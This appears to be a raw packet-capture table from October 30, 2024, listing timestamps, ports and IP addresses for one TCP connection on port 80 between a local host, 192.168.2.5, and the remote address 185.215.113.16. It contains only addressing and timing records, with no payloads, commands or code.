Oct 30, 2024 21:55:27.588741064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588747978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588754892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588754892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588757992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588762045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588769913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588794947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588813066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588819981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588824034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588836908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588845015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588850975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588866949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588876963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588886976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588888884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588897943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588897943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588910103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588918924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.588936090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.588968039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.618566990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618581057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618592978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618608952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618644953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.618675947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618688107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618694067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.618700981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618716002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.618731022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618747950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.618751049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618766069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.618824959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.618990898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619002104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619013071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619031906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619048119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619060040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619064093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619064093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619077921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619091988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619102001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619112968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619129896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619129896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619179964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619209051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619226933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619239092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619250059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619261980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619272947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619272947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619281054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619293928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619302988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619306087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619326115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619332075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619338989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619352102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619364023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619370937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619376898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619390011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619404078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.619404078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619437933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.619437933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.632169008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.633147001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.659401894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.659414053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.659424067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.659435034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.659502029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.701632977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.701643944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.701653957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.701663971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.701710939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.701730967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.701744080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.701755047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.701841116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.701992989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702023029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702034950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702053070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702069998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702080965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702088118 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.702094078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702097893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.702109098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702124119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702126026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.702126026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.702209949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.702487946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702500105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702511072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702557087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.702702045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702750921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702797890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702836990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.702842951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.702891111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704392910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704405069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704416037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704504013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704518080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704529047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704556942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704556942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704556942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704627991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704642057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704653978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704670906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704693079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704721928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704741955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704756975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704770088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704780102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704792976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704801083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.704982996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.704999924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705012083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705059052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705059052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705065012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705075979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705087900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705097914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705110073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705121994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705128908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705128908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705137968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705164909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705218077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705229998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705241919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705260992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705291033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705305099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705305099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705388069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705420971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705430984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705441952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705468893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705473900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705490112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705508947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705518007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705529928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705535889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705544949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705548048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705558062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705569029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705579042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705627918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705678940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705717087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705727100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705755949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705766916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705766916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705769062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705782890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705796957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705806971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705818892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705830097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705841064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705841064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705845118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705857038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705861092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705883980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705908060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705918074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705928087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705939054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.705961943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.705981970 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706012964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706022978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706033945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706053019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706059933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706065893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706083059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706089020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706139088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706227064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706294060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706305027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706330061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706332922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706346035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706355095 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706358910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706371069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706392050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706415892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706428051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706439972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706443071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706449986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706484079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706484079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706789017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706835032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706845999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706914902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706918955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706931114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706942081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706954956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706969023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706974030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706986904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.706990957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.706999063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707011938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707020044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.707045078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.707107067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707118034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707135916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707146883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707149982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.707159042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707168102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.707195997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.707195997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.736819983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736838102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736860037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736871004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736876965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.736891031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736901999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736912012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.736921072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736932039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736942053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736954927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.736954927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.736957073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736968994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736978054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736989021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.736993074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.736993074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.736999035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737010002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737019062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737037897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737046003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737055063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737066984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737071037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737071991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737071037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737078905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737117052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737118959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737131119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737134933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737143040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737153053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737164974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737171888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737175941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737185955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737215042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737215042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737217903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737230062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737256050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737268925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737294912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737302065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737313032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737322092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737355947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737453938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737463951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737488985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737498045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737509966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737519979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737528086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737528086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737534046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737550020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.737560034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.737590075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.777822018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.777837992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.777848959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.777861118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.777926922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.777926922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.791619062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.804791927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.819914103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.819941998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.819952965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.819996119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820008993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820020914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820033073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820034027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820045948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820069075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820069075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820101976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820343971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820353985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820363998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:27.820383072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:27.820426941 CET	80	49712	185.215.113.16	192.168.2.5
